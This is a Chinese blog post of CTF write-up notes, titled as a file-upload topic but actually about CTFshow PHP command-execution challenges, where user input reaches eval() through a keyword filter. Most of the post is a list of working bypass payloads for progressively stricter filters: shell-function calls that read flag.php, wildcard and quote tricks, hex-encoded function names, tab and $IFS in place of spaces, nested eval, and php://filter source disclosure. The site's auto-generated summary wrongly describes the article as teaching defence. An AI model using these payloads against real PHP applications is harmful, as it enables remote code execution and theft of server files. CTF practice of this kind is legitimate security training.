CTFSHOW-文件上传

最新推荐文章于 2024-11-15 09:21:49 发布

菜菜的鸡

最新推荐文章于 2024-11-15 09:21:49 发布

阅读量317

点赞数

文章标签：经验分享

本文链接：https://blog.csdn.net/li_n_k/article/details/128068205

版权

本文详细讲解了如何通过PHP代码防止GET参数注入恶意脚本，重点介绍了使用`preg_match`过滤敏感关键字，如'flag', 'system', 'php', 'cat'等，并列举了多种可能的攻击形式。通过实例学习如何构建安全的参数验证机制。

摘要由CSDN通过智能技术生成

**************************************************************************************************************

GET传参-例题

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("过滤的内容", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤的内容

/flag/i

?c=system("cat fla?.php");
?c=system("cat fla''g.php");
?c=system("cat fla\g.php");
?c=echo `nl fl''ag.php`;
?c=eval($_GET[1]);&1=system('cat flag.php');//也可tac

/flag|system|php/i

?c=passthru('tac f*');
?c=echo `tac *`;
?c=echo exec('nl fl?g.???');
?c=echo shell_exec('nl fl?g.???');//此函数与反引号异曲同工
?c=passthru("nl fl''ag.ph''p");//各种通配符的使用
?c=eval($_GET[1]);&1=system('cat flag.php');

/flag|system|php|cat|sort|shell|\.| |\'/i

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));//预期
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
?c=print_r(`nl%09fl[abc]*`);
?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");//等价于system(),说明双引号会自动解析
?c=echo`strings%09f*`;//在对象文件或二进制文件中查找可打印的字符串
?c=echo`strings\$IFS\$9f*`//必须加转义字符
?c=passthru("nl%09`ls`");//空格%09绕过
?c=eval($_GET[1]);&1=system('cat flag.php');//还是可以

/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i
即过滤了flag，system，php，cat，sort，shell，.（点），
（空格），’（单引号），`（反引号），echo，；（分号），（（左括号）

c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
或者POST：
?c=include$_POST[a]?>

post:a=php://filter/read=convert.base64-encode/resource=flag.php

**************************************************************************************************************